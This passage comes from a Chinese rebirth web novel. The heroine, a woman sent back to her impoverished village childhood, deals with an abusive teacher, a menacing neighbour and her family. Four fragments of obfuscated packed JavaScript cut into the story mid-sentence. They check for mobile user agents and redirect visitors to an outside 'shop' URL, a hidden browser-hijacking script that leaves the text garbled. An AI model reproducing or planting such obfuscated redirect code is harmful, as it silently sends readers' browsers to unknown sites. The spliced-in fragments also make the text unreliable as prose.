言双松了口气,这才看到旁边那张粗制滥造的木床。 床的四只腿用的是粗圆木,但不是等粗的,床头的两只脚明显比床尾的两只脚粗一些,像是以前拆老房子留下来的柱头,上面有明显的裂痕。 四根大约四十厘米长的圆木都凿了孔,孔里插着黑漆漆的木板,搭在床框架上的木板,两头和中间都加了铁钉。 言双拿上编了大概半米宽的玉米壳垫子垫上去,坐下左右摇动了一番,床没有散架。 婆婆死之前,言双从未独自拥有过一张床。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923934|192688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >过去被改变了。 言双心潮澎湃,跑出房间,又找了些玉米壳,抱到屋里,盘腿坐在床上继续编垫子。 天蒙蒙黑时,垫子已经快铺满床。 嗯,当然不是因为她手速够快,而是因为床够窄。 晚饭是炒酸菜土豆丝配挂面。 言双提前招呼周秀莲不计划她的份,可周秀莲还是给她舀了一碗。 在不尊重孩子的意见这方面,她的父母绝对能全国大奖。 碳水配碳水是言双出现进食障碍那段时间最痴迷的食物搭配方式,比如双层加肉汉堡配甜甜圈,加了方便面的麻辣烫或麻辣香锅配米饭,馕配新疆炒米粉。 那段时间,她常常胡吃海塞,撑到恶心失眠,却舍不得催吐。 “你们给我做床辛苦了。”言双将碗推到言德珍的碗边,用筷子将面条挑入言德珍的碗里,“你们多吃一点。” 言德珍皱眉端起碗躲的时候,她又将碗推到周秀莲的碗边,“妈,你其实也得少吃点挂面这种精致碳水,容易升血糖,年纪大了会得糖尿病。” “这些话都是课上学的?”言德珍奇怪道。 “不是,网上学的。” “蜘蛛网?”周秀莲猛嗦一口面条。 “互联网。” 言蓉问:“那是啥子网?” “传输信息的网,有了那个网,在家哪里都不去,也能了解世界上发生的事情。” 言双仔细回忆了一下问道:“你们社会课本上出现过秀才不出门,便知天下事的话没?” 言蓉摇头。 “这句话就是形容计算机互联网的,社会课本里面会提,你可以找找看。” “计算器是算账的。”言德珍发表高见。 “是计算机,不是计算器。”言双翻白眼。 “一回事。”言德珍额头、眉间的皱纹瞬间拧成一团。 言双懒得跟他扯,又道出新的计划:“我打算多养几只鸡,我每天早上下午会扯青草、逮虫子喂。” 周秀莲忽的笑道:“晓得你那嘴巴儿咋那么想吃鸡蛋的,以前跟凤梅两个偷鸡蛋,打个洞洞脑壳一仰就喝完了。” 言蓉接道:“她俩个还把鸡蛋煮进麦糠里面,晓得咋不嫌猪食水脏。” “诶,对了,你为啥不跟凤梅耍了呢?又闹架了?”言蓉问道。 言德珍和周秀莲亦好奇原因,抬眼瞧言双。 言双仍是害怕,想着讲出来,可能会好一点,她压低声音说:“徐枫死于2003年的夏天。” “她死之前,她妈妈背着她去望家坪看病回来,经过我们门前,我和言蓉那时候跟她们两姊妹闹了架,随口说她咋不死了,第二天,她真死了。” 言德珍:“徐枫就是凤梅嘛!” 言双的故事里充满细节,听故事的三人都来了兴趣,周秀莲问:“得的啥子病?” “最后请法医解剖了尸体,但还是没能确定死因。”言双瞅瞅旁边徐新春一家人,怕接下来的话被听到,声音又放小了些,“大概率是因为吃了抹了农药的鸭梨。她姐姐也有症状,但可能是年纪比较大,以及吃得比较少,活下来了。” 听故事的三人没有如言双预期的那般害怕起来,可能是因为没有真实经历过,也可能是仍然没把她说的话当回事。 8. 改变 徐枫和言双的生日只差了两个月,但徐枫个子小的多,晚一年读学前班,而且和她姐姐徐惠是在中心校读书。 两人同龄,在一起玩的时间比较多,如今言双忽然哪里都不去,甚至不再和徐枫一起爬树、掏鸟窝、搅泥巴,周围的人都觉得奇怪。 可没有人细想,包括已经得知徐枫未来的言双父母及言蓉,也没有细想。 对徐枫死亡的恐惧依然是言双一个人担着。 言双每天除了想法设法攒钱添置床上用品和洗漱用品,就是做永远做不完的家务。 现在这个年代的猪都是用少量的粮食,加瓜果、野草、洋芋、麦糠、麦麸等喂养,要近十个月才能出栏或宰杀,味道的确鲜美,但几乎赚不到钱。 言双手持菜刀,将堆放在一个木箱子里的洋芋、南瓜、野草剁碎。 她瞧一眼走廊上做作业的言蓉,心里多少有些不得劲。 如果是她在被支使做活路的时候,声称要做作业,必定得挨一顿言德珍和周秀莲的连环嘲讽,可言蓉声称要做作业而没有时间做活路,周秀莲和言德珍却基本不会说什么。 想到言蓉、周秀莲、言德珍在2025年的相处方式,言双不平衡的内心平衡不少。 人与人之间都是有借有还的。 菜刀是纯铁制成的,一会儿后,言双的手腕发酸。 她环视一圈灶房,没找到更趁手的工具,又跑到屋前屋后寻找铁锹。 铁锹也是纯铁制作的,比菜刀还要重不少,但有手把,可以站着往下剁,省力不少。 只可惜铁锹相较于菜刀,边缘实在不够锋利。 言双想来想去,打了一盆水放到磨刀石旁,拎着铁锹在磨刀石上蹭。 每天蹭个十来分钟,蹭个十天二十天,即使她力气小,铁锹的边缘也能比现在要锋利些,使用起来会更方便。 “让你剁猪草,你在弄啥?”言得珍大吼道,他背着木制的背水筒,爬上院坝。 言双没搭理他,继续自己的事儿。 言双已经想好了,既然重生了,得把自己好好养一遍,至少不要再因为周围的人的奚落、嘲讽、怒骂、挖苦而生闷气。 每天放学回家,言双照例向父母播报吴绍全以及其他同学为难她的事情,而父母照例无视她的话。 在学校,言双同样遭人无视。 她向吴绍全告状,徐荣彬、徐新伟欺负她,在办公室坐着和其他老师聊天的吴绍全,连个眼神儿都没甩给她。 她向其他同学说吴绍全跟她家有仇,所以总是故意整她,其他同学完全是一副听不懂的表情。 这天,临放学的时候,吴绍全深一脚浅一脚地在讲台上走来走去,安排道:“从今以后,教室由余金秀、言双、李正敏、周成打扫。” 言双气不打一处来,站起来道:“凭什么?” 言双当然知道吴绍全是凭什么,他凭的是座位旁的口痰。 可无论是之前还是现在,言双的座位旁都没有口痰,而且教室里除了他念到的四个人之外,还有其他几个人的座位旁有口痰。 他挑选的是家里极度贫困,父母又很好惹的四个人来收拾。 教室里的人,包括吴绍全都是一愣。 言双的身体还是没控制住地发抖。 吴绍全愣过之后,晃晃荡荡冲到她跟前,抓住她的头发,将她扯出座位,右手在她手臂上使劲揪。 言双使出全身力气,尖叫哭嚎,趁吴绍全又是一愣的时候,冲向教室门口哭嚎。 学校不大,总共就七间屋,横着四间,竖着三间,横着那一排,中间那屋是教师办公室。 言双的哭嚎很快传遍整个学校,吴绍全很快跟上来把她往屋里拖拽。 有老师听到这种阵仗的哭嚎,都从教室里跑出来,校长周金福走上来问:“咋回事?” 吴绍全松掉言双的头发,笑道:“这女子乱吐口痰,我安排她打扫卫生,她居然还嘴。” 言双冷静道:“我没有吐口痰,周老师你可以去我座位旁边看,我座位旁很干净,吴老师是故意整我。” 教师在2000年的山村,具有极高的威严,学校里除了教师的子女见到老师不畏手畏脚,其他学生见到老师基本上跟老鼠见到猫没有区别。 周金福露着金牙,沉默地看了一眼条理清晰的言双,迟疑了一下,走进教室,指着空着的座位问道:“那是不是你的座位?” 言双回答:“是的。” 周金福点点头,又转头问面色难看的吴绍全,“这女子说得莫错,她座位旁边很干净,你为啥要安排她打扫卫生?” 周金福说着又在教室里走了一圈,问道:“你只安排了她一个人打扫?没有安排其他人?” 吴绍全长的那一只腿,往前跨了一步,陪着笑说:“我刚刚可能看错了,把其他人的口痰看成她的了。” “这也能看错?”周金福严肃道,“我看你们这在地上吐口痰的娃儿不少,你专门选一个没有吐口痰的人打扫卫生,人家父母找来了,你准备咋收场?” “我确实看错了,冤枉了她。”吴绍全光秃秃的脑门儿上全是汗。 周金福边朝门口走边说:“都是些小娃儿,吐口痰是个再正常不过的事情,好好强调,至于扫地,一排一排的人轮到来就行。” 吴绍全陪着笑将周金福送出教室。 下课铃声响起。 言双回到座位坐下,吴绍全很快也回到讲台,看向言双的眼神又恶毒了几分。 他的恶毒竟然还没到底。 回家的路上,同路的其他人都似笑非笑地打听言双那会儿哭嚎的原因。 言双认认真真地说:“吴绍全又体罚我啊,我之前跟你们讲过很多次了,吴绍全总是随便体罚我,拿我当出气筒。” “你都不觉得丢脸?” “吴绍全一个老师没有原则地体罚我都不觉得丢脸,我为什么要觉得丢脸?我是受害者,他是加害者哎。” 其他人脸上多多少少有点失望。 这段日子里,言双经常从周围人的脸上看到这种失望。 他们看不到她身上的窘迫了,他们开始失望了。 言双走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923935|192688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得飞快,她想赶紧回到家,将今天的事情讲给父母听,想看看他们作何反应。 家里只有婆婆在。 “婆婆,妈们呢?”言双问道。 “你妈们走你大姨那儿去了,你大姨的女子生娃儿死了。”婆婆看到言蓉在院坝口出现之后,起身到灶房端饭。 大姨的女儿因生孩子去世,对于言双而言,是一个已经无法改变的事实,所以她这段时间没有把心思放在这件事上,甚至因为没有日历,已经忘记这件事了。 言蓉惊恐地看向言双,“是不是你说的?” 言蓉的意思是因为言双说了大姐会死,所以大姐才会死。 言双无语。 她要是真有这种本事,她要把这村里的一大半人都说死! 吃完饭,言双独自呆在小儿间,用椅子顶着门,拿着除草锄刮地面的土包,小床周围的地面平整之后,她又将学前班到二年级的书本一页一页地撕下来,粘上偷摸用面粉制作的浆糊,站在小床上,将纸张贴在凹凸不平的土墙上。 期间她忍不住想如果她亲自去大姨家一趟,会不会可以改变大姐的命运。 天擦黑时,言德珍和周秀莲回到家。 言双原本打算把吴绍全揪得紫红的地方给他们看,可他们看到她,也是一脸惊恐。 “我都跟你们说了,是你们不信的。”言双无奈,心底难免腾起一丝伤悲,想到大姨另一个孩子的命运,这点伤悲很快加重。 “还有一件事我没给你们说。”言双小声道,“大姨的儿子2017年的时候,会因为肝癌去世。” 言德珍和周秀莲依然怒骂道:“狗日猪脑壳,你又在张起嘴巴胡说。” “我给你们讲了大姐去世的原因,你们赶场的时候,都没有碰到过大姨,然后提醒她一下?” “我咋没说!我就是怕你小娃儿家说话说在神在的日子上。”周秀莲开口道,“我在场上碰到你大姨,让她们去医院生,她们不听,非得要在家里生,说她们那边医生多,跟她们都是有亲戚关系的,靠得住。” 言双回忆起2024年大姨为了落实大姐女儿的工作,借十几万块钱,托她们周围一个亲戚走关系,最终以失败告终的事情。 她们好像套在那层关系网里,再也走不出来了。 “我总不可能直接照你的话说你大姐会死。”周秀莲又道。 言双当然知道不能这样说,而且就算这样说了,大姨一家也未必会做出改变。 就像大姨当时坚持要借钱给大姐的女儿买工作,言双三番五次跟她强调她的行为是违法的,要是被查出来后果很严重,而且现在这种方法已经行不通,医院会卡学历,她一句话没听进去,最后白白花了四千块钱的饭钱。 没有人的命运会因为别人一两句话而有所改变。 言双叹了一口气,决定以后再不预告认识的人的死亡时间。 没有意义。 双手握住铁锹的手把,一下一下地铲碎猪草的言双,歇了一会儿,拖着铁锹,下到院坝滴水石旁边,举着铁锹在磨刀石上不知疲倦地蹭。 9. 残暴 天越来越冷,阳光越来越多。 周末放假,言双总跟上婆婆去山里打莫娘藤的种子,摘红艳艳的火棘。 以前婆婆为了弄这两种中药材,手上、腿上扎了很多刺,她人老眼花,看不清挑,都是让言双和言蓉帮她。 有些扎在婆婆皮肤里的刺,没有被及时发现,时间一长,便长出一个硬硬的小疙瘩。 言双找出家里不用的烂衣服裤子,用尿素口袋上拆下来的线,将它们一片一片连在一起。 “这样我们可以把布铺在莫娘藤和火棘树的底下,用棒敲树,不直接用手摘,会少扎些刺。” “淘这些神弄啥,难得拿。”婆婆觉得麻烦,背上背篓预备走。 “又不是让你拿,我自己打的我自己卖钱。”言双在脸上也包了一块布,懒得花力气说服老年人。 婆婆走得慢,言双很快提着尿素口袋跟上。 “好好的一张脸,包起来弄啥?”婆婆问。 “我有遗传性雀斑,嗯,就是你们俗称的蚊子屎,六年级左右会长出来,只要不怎么晒太阳,就会淡到看不清。所以我得趁现在还没长出来,好好保护我的脸。” “我年轻的时候鼻子旁边有些,现在看不出了。” “所以说就是你遗传给我的啊。”言双无奈,长大之后她看到言德珍大臂后侧的雀斑,以及言德明手臂和后背的雀斑,心想她妈的遗传基因那么强大,怎么就没让她逃过雀斑之灾呢? 不好的基因果然更容易遗传给后代。 比如言双明明脸型、眼睛、嘴巴等都和言德珍几乎一模一样,走到路上,不认识她的人,也能一眼猜出她是言德珍的小孩。 但偏偏她又遗传到周秀莲的塌鼻子和小耳朵。 虽说很长一段时间里,言双的鼻子显得塌,跟她没那么瘦有关,但与言德珍的鼻子比起来,多少还是算塌的。 至于小耳朵,虽说不影响听力,但因为太小且是贴面耳,显得脸特别大。 周秀莲又是一个只会挖苦言双鼻子塌、一脸蚊子屎长得丑、屁股大的人,自己也几乎不收拾打扮,根本不会想办法帮言双解决这些问题。 当然了,言德珍实际比周秀莲更过分,他自己是个出门在外会把自己收拾得很周正的人,尤其是后来家里条件好了些之后,他爱打扮的本性一下显露。但他从未舍得出钱让言双和言蓉穿得好看一点,倒是经常在一分钱不出的情况下,还挖苦言双和言蓉不会打扮,逗别人笑。 这段时间,言双每天睡觉前、起床前,都会在床上捏鼻子、提耳朵,不知道是家里那面镜子周围光线变化的原因,还是言双的努力起到了作用,她今天早上照镜子发现,鼻子好像是要高一点了。 嗯,当然也有可能是没再靠碳水填饱肚子,没长胖。 “你念书念的都是这些话?”婆婆抓住马桑树的主干,爬到林里。 “这些都是我上网学的。”言双敏捷地钻到一棵果子结的又繁又密的火棘树下,“我要打这一树。” 婆婆慢慢走到她附近,抬头望了望长在半坡的火棘树,“你一个人打的完?” 言双拿出工具,铺在火棘树下,仰头看树,又低头看地面,有块地方可能接不住果子。 她又将尿素口袋铺平补在布垫的旁边,抬头看着婆婆说:“当然打得完。” 婆婆没说话,拄着一根言双手腕粗的竹棍,拉着坡上的杂草,继续往上爬。 连续一周的大太阳晒干了林间的落叶,婆婆每走一步,脚下都发出脆响。 言双小声嘟囔:“谁让你分一块饼干,都要给言蓉分一大半的。” 只有窸窸窣窣低语的山林,承接了她的不满。 火棘树的根部较粗,且相较于枝干、枝丫,尖刺要少得多。 言双一脚踩在火棘树的根部,一脚蹬紧土坡,举起木棒,朝着红红的果子打下去。 正午,阳光燥热,一顿敲打下来,言双的头发都湿透了。 好在这个办法还不错,徒手很难勾到的地方,靠木棒敲打几下枝干,红红的果子也能落下百分七八十。 言双转身,反手抓住一棵松树的侧枝,收回蹬着半坡的左脚,慢慢顺着坡滑到坡下面。 今天也算运气好,火棘树下面的地势平坦,能铺布。 红的绿的蓝的布上铺了厚厚一层火棘果,言双小心地收拢布垫,又将落在枯叶、草丛上的果子捡起来,全部装入尿素口袋。 她拎了一把口袋,估摸着可能得有个七八斤,晒干大概只有两三斤。 之前她已经晒干了三斤,再加上收获的两斤莫娘藤种子,加起来能卖四块多。 村里中草药的收购价格都很低,除了淫羊藿。可淫羊藿的产量低,还不好找,而且言双也不知道现在淫羊藿的市场如何。 她只记得2020年回村之后,村里很多人漫山遍野地跑着扯淫羊藿,那时候收购价是一斤四十,后来很多人工种植基地出现,价格又有所下降。 查过淫羊藿功效的言双,摇摇头,坐在土坡根,抓起一把火棘果,一颗一颗慢悠悠地嚼起来。 低低的人声被林间的风送入言双的耳朵。 她停下咀嚼的动作,稍稍探头朝小路那边张望,一男一女,一前一后地走着,渐渐向着距离马路更远的林间去。 光靠模糊的声音和身形,言双都能知道是村里哪两个人。 那男的分明已经快六十。 以前的人身体是不一样。 之前网上流传着一句话:男人过了二十五就是六十。 言双恍然大悟,难怪2020年之后淫羊藿才卖得那么好。 言双拖着尿素口袋,与婆婆一路返家的时候,碰到了徐德财。 “双娃子,天天跟到你婆婆打救军粮,我看在学校里念书怕也是念得莫哄哄。”徐德财边笑边说,仿佛高兴惨了。 徐德财的二女儿徐莉芹跟言双读同一所小学,六年级,班主任是周金福,言双在学校发生的事情,应该都是徐莉芹告诉徐德财的。 路上的石块多,言双不得不将口袋拎高一些,累得慌,她停在路边,回道:“你放心,我肯定比你两个女子有哄哄。” 童音其实削弱了言双话里的攻击力,但徐德财却破防了,咧着包裹大黄牙的臭嘴嚷道:“我两个女子比你还是比得过,你个天天在学校挨打留堂的批娃儿。” 言双火气上来了,弯腰抓起一块石头,亮给徐德财,说:“你喊我批娃儿,我是不是也可以喊你批男人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923936|192688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐德财脸上的失望如暴雨天的乌云变幻,一秒后,黑着脸拖长声音道:“哼,这女子嘴巴儿干净的啊,你爸妈这样教你的?” 言双回道:“你嘴巴这么臭,也是你爸妈教的?” 靠在石坎上歇气的婆婆说:“你个大人家逗她娃儿家那些话弄啥。” 徐德财彻底挂脸,但没再说什么,扯着嗓子唱道:“斗地主来哟斗地主……” 言双瞧一眼那位被斗过的婆婆,安慰道:“婆婆,你莫伤心,我们一家以后比徐德财一家过得好多了。” 婆婆弯腰背起背篓,边走边笑:“幺儿嘛,嘴巴子变麻利了。” 言双叹气,要是她从小嘴巴都能这么麻利就好了。 马路被雨水冲出两道沟,提着十来斤的火棘果,走起来总感觉下一秒要扭到脚或摔倒。 远远又闻到一股粪臭。 言双想捂鼻子,便停下来,顺道歇气,一抬头对上徐新春的眼神。 戴着墨镜的徐新春,担着两个粪桶,粪桶散发出恶臭味,他的右手还拿着一把镰刀。 他挥动镰刀,恶声恐吓道:“再看,再看,老子一镰刀把你砍死。” 事情发生的细节变化了。 之前是言双独自遇到担着粪桶,用镰刀恐吓她的徐新春,现在言双则和婆婆一路。 之前言双被吓到尿裤子了,回家还不敢让父母知道,把尿湿了的裤子脱了,扔进了床底下。 现在,言双其实还是被吓到了。 徐新春的长相比吴绍全还要凶恶,更不要说他手里还拿着一把镰刀。 婆婆开腔道:“你莫名其妙吓唬娃儿弄啥?” 徐新春几乎是瞬时间动气,就要放下粪桶,咒骂婆婆,手里的镰刀还一挥一挥的。 “你个老狗日的,开啥子腔!” 婆婆也被吓了一跳。 言双转头对婆婆说:“婆婆,我们明天可以早点出门。” 她任粪臭侵袭鼻腔,腾出一只手拉了拉徐金珍干瘦的手腕,“我回去要用韭菜炕鸡蛋。” 徐新春墨镜后的那只狗眼睛一点光都没有了,猛然放下的粪桶,飞溅出黑漆漆的粪水,落了许多滴到他的裤脚和鞋上。 言双心想这人的心发烂发臭,家里的大粪似乎也比其他人的臭。 “我刚刚吃了一把救军粮,还挺好吃,补充了些维生素。” 婆婆顺势接她的话,“维生素是啥?” 凶狠残暴从未被无视过的徐新春,似乎有些不知所措,恶狠狠地瞪了言双和徐金珍一会,重新担起粪走动起来。 粪水在他的粪桶里哗啦晃荡,像是他的坏水在他的肚子里晃荡一样,臭味经久不散。 隔了几天,言双家的自留地里出现了三只死鸡,一只公鸡,两只母鸡。 言双放学回家的时候,周秀莲正在鸡圈那边咒骂。 整个院子里的人都知道凶手是谁。 整个院子里的人都死过鸡、猫、狗、猪,都少过苹果、梨、桃、葡萄,也都少过辣椒、洋芋、玉米、小麦。 言双想到2022年,这个凶手让她帮忙改一下抖音账号昵称,改为“正义胜利”。 这个凶手说:“我是个最正义的人。” 10. 适应 原本那几只母鸡在言双的精心喂养下,基本隔一天就会下蛋,她也因此能每天大大方方地吃一个鸡蛋,现在只剩下两只母鸡,她再怎么勤快地喂草喂虫,也没办法每天都收获鸡蛋。 何况冬季已经来临,无论是草还是虫,都变得越来越难获得。 好在黄豆和红小豆的收获还不错,地里的菠菜也绿油油生出一大片,她能靠豆类获取一些蛋白质,能靠菠菜补充钙和维生素。 而且按照她以前减肥时期查过的资料来看,100克豆类所含的蛋白质远比一个鸡蛋多得多。 此外,再过差不多一个月,家里会杀年猪,里脊肉会全部留下,且不会加盐腌制,能吃上至少一个月的时间。 冬天除了穿不暖睡不暖之外,似乎还是有一些值得期待的事情。 言双用卖药材攒的钱买了牙刷、牙膏、洗脸盆以及宝宝霜,全部放在小儿间自己的床上。 直到十一月中旬,她都还没有实现一个人睡的目标,因为棉被不够。 爸妈以及她现在同言蓉、婆婆所用的床,垫的都是麦秆,麦秆上铺了一张已经破烂不堪的棉絮。 买了必备的生活用品之后,她卖药材攒的钱只剩下三块,山里的救军粮、莫娘藤也几乎没了,其他药材又不到收获的季节。 穷人赚钱的难度比富人未免也大太多了。 放学回家,吃完菠菜面条,言双花了十分钟做完作业,徐莉芹以及徐惠徐枫两姊妹约言蓉去院子底下看电视时,她像往常一样躲进灶房,舀水刷牙洗脸。 言德珍说:“你买的那些东西花的钱总不少。” 言双站在走廊边,向院坝里吐出嘴里的牙膏泡沫,防备道:“嗯,反正把我跟婆婆卖药材的钱都花完了。” 周秀莲咂一口香烟,慢慢的鼻子嘴巴都冒出一团一团的蓝色烟雾,哼了一声道:“我不信呐。” “有啥不信的,我给你算笔账你不就晓得了。”言双张口就开始念数字。 言德珍忽然不耐烦道:“好了好了,悄悄的。” 言双大三的那个寒假,跟同班同学一起到东莞的电子厂打工,一个寒假挣了大概三千五百块钱,回到学校的时候收到了厂里的工资,非常兴奋地告诉了父母之后,父母却说:“那正好,这学期我们就不给你打生活费了。” 言双当然失落,但那时候的她对挣到了钱这件事非常自豪、骄傲,失落很快被淹没,她反而还高高兴兴地给父母充了两百块话费。 在那之后,言双在父母身上吃的亏越来越多,而父母却愈发得寸进尺。 她给他们购买的鞋子、衣服,他们总能挑出毛病,她给他们的钱,他们也总是嫌少。 穷人生儿育女都是为了老有所养、老有所依。 当然了,穷人也从来不掩藏他们这一目的。 言双继续刷牙,刷的细致且认真,没有浪费一点牙膏。 学校里的日子一成不变。 吴绍全每天还是想法设法找言双的茬,而言双毕竟已经活了三十三年,那些小儿科的茬,她都能一一拆解。 她不能忍受的是无聊。 早上八点上课,下午五点放学,她要在学校呆九个小时,三年级的知识太过简单,所以这九个小时她只能做练字这一件稍微有点意思的事情。 如果哪里能搞到一些初高中的理科辅导书,或许能缓解缓解无聊感,再不济有一本英语词典也行啊。 可是这些东西都需要钱。 言双看了一眼土墙上的纸张,她把她剩下的那三块钱塞在纸张和土墙的缝隙里的。 不然去借别人的? 言双将采摘的野棉花一团一团地塞进缝好的小枕套里,对自己的想法感到无语。 乡里的初中学校在集市旁边,言双初中的时候,学校的宿舍楼已经建好,朝向集市的那边留了一间小屋子,由学校一位老师的老婆租下并售卖、出租小说和教辅资料,但种类非常少。 前段时间,言双跟着婆婆去集市卖药材,发现学校的宿舍楼还未建成,那小店自然还不存在。 至于教材,作用是真的不大,而且很多教材似乎有意防止学生自学,概念、例题总讲的云里雾里的。 言双忽然有一种被困住的感觉,为了避免长时间沉浸在这种情绪中,她起身提上篼子出门摘野棉花。 左边那条路上的野棉花已经被她摘完,现在她正往右边的那条路走。 经过徐新春家院坝前面时,董丽蓉正带着她的二儿子站在走廊上,言双不由自主朝上望了一眼。 董丽蓉拉着她的二儿子站在石坎边沿,脱下她二儿子的裤子,帮助她的二儿子扶着那玩意儿,笑道:“你看你都有个鸡/鸡,人家没有。” 言双不由得摇头一笑。 早些年,周秀莲讲起言双的小时候,提到过眼下正在发生的这件事。 据周秀莲所说,言双听到董丽蓉的话之后,对董丽蓉说:“那你趴着一直看嘛。” 言双其实不太相信周秀莲的讲述,因为她觉得她小时候胆子没那么大。 而且她已经忘记她回怼之后,董丽蓉的反应。 言双提着篼子的手紧了紧,抱着求证的目的说:“那你趴着一直看嘛。” 董丽蓉明显一愣,随后竟然也没有什么太大的反应。 言双都已经走至徐枫家的门前了,依然没听到预期的骂声。 难怪她对这件事的印象没那么深刻。 言蓉、徐莉芹、徐惠、徐枫正在院坝里跳皮筋,言双自然也朝上看了一眼,只是这一眼便让她想起徐枫死后那张惨白的脸。 “你走哪儿去?”言蓉侧身大喊道。 “我去摘野棉花。”言双又鼓起勇气看向玩耍的那几人。 “灰,双娃子勤快的呀,我爹一直说你跟着你婆婆打救军粮卖了好多钱,说我们都不晓得跟到你学,一天只晓得耍。”徐枫浑厚的声音传至言双的耳边。 冬日冷冽的空气令言双无比清醒,清醒到不再怀疑徐枫其实已经死了。 徐枫还活着,恐惧似乎因此减少了许多。 但言双还是没有回应徐枫,她不知道怎么回应,也觉得没必要回应一个小屁孩。 何况她现在的心思已经不在那一帮小屁孩身上。 制作枕套用的不知道是言双还是言蓉以前穿过的短袖,为了节省线材,言双直接将两个袖口、领口和下摆缝了起来,在领口处留了一个小口塞棉花。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923937|192688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她花费了大半月采摘的野棉花,终于把这样一个枕套填充的鼓鼓囔囔的,虽然缺乏支撑力,但好歹比较暖和,冬天睡起来没那么冰。 没有药材打的日子里,言双一般跟着婆婆去山里捡干柴,不过仅限于婆婆住在她家的时候。 如果婆婆住在二爹家,她跟着婆婆去捡干柴,二爹二妈一定会说婆婆把捡到的柴送给了她。 言双她们家与二爹二妈家的矛盾不比她们家与徐新春一家之间的矛盾浅,而这种矛盾最后消失了,是随着婆婆的消失而消失的。 所以可以说婆婆是他们两家人之间矛盾的根源。 这天,言双趴在歇房的炉子旁的椅子上练字,言蓉、徐枫、徐惠以及徐莉芹在院坝里打沙包,一边还聊着头一天晚上一起看过的电视剧的剧情。 一会后,徐枫徐惠的爹妈和徐莉芹的爹妈都开始大声喊她们回家吃饭。 言蓉也钻入灶房,喊道:“妈,我肚子饿得不行了。” 言双已经吃过烤洋芋,还是放在炉底烤出了一层焦脆的黄壳的洋芋,她还没感觉饿。 原本才在二妈二爹家住了两天的婆婆颤颤巍巍地走到了她家,进入歇房,坐在炉子旁张开干瘦的手烤火。 言德珍抱着装满黄色玉米的背篼,进入歇房,皱着眉问道:“妈,你咋下来了呢?” 随后,周秀莲端着一撮瓢的糖饼走进歇房,已经拿着一个糖饼咬的言蓉紧跟其后。 言双早前就觉得童年的许多事情都是在发生在歇房这个光线差,永远黑乎乎的方寸地方的。 这方寸地方的空气像某种菌类吃下了各种各样的纷争、矛盾,也吃下了各种各样的欢笑、喜乐。 “幺儿,快给我找一口吃的。”徐金珍恳求道。 徐金珍把言双她们一家都喊幺儿,包括周秀莲。 言双其实捕捉到了周秀莲脸上的不悦,但她也看到周秀莲很快递给徐金珍一个糖饼。 一家人围着火炉吃糖饼,徐金珍缓过了劲儿,流着泪说:“他们不晓得走哪里去了,清早就出门了,粮饭都锁在小儿间屋的,柴都是放起来了的,我这实在是没办法了。” 言双看不清徐金珍脸上的眼泪,她脸上的皮肤千沟万壑,她的眼泪如同一滴一滴的雨流入了那千沟万壑里,被那千沟万壑吸收了。 但言双就是知道徐金珍在流泪。 言德珍和周秀莲不发一语。 言双和言蓉亦保持沉默。 一会儿后,徐金珍手里的糖饼已经消失,言德珍举起撮瓢,递到徐金珍面前,“妈,你再吃一个。” 徐金珍抬眼瞧周秀莲,周秀莲冷冷道:“吃嘛,又不是莫得。” 徐金珍又拿了一个,看了一眼言双,说:“幺儿,我们俩个分一个。” 言双这个阶段还不喜欢吃糖饼子、糖包子之类的东西,周秀莲和言德珍也从未因为她不吃这些东西,就给她单独做饭,一副她爱吃不吃的态度。 “你给我分一点点,我尝一下味道就行。”言双说。 言德珍则骂道:“这也不吃,那也不吃,我看你是没有饿够。” 言双翻给他一个白眼,“你爱怎么讲就怎么讲,等你老了以后我加倍奉还就是了。” 11. 暗涌 “幺儿,咋这样对自己的老年人。”徐金珍稀疏的牙齿和牙龈、舌头相互配合,磨碎糖饼焦脆的外壳。 言双不由得想起徐金珍死前的那个周末对她说的话。 那时候徐金珍一遍又一遍地跟她说以后不要凶她爸。 那时候徐金珍已经病了大半年,言德珍在外地打工,所以一直都是周秀莲照顾她,而言双正值青春期,几乎每个周末都会跟周秀莲大吵大闹,有时候从学校逃回家,专门跟周秀莲作对。 徐金珍将这些看在眼里,临死前千叮咛万嘱咐言双不要凶言德珍,却从来没有为周秀莲说过一句话。 真没意思。 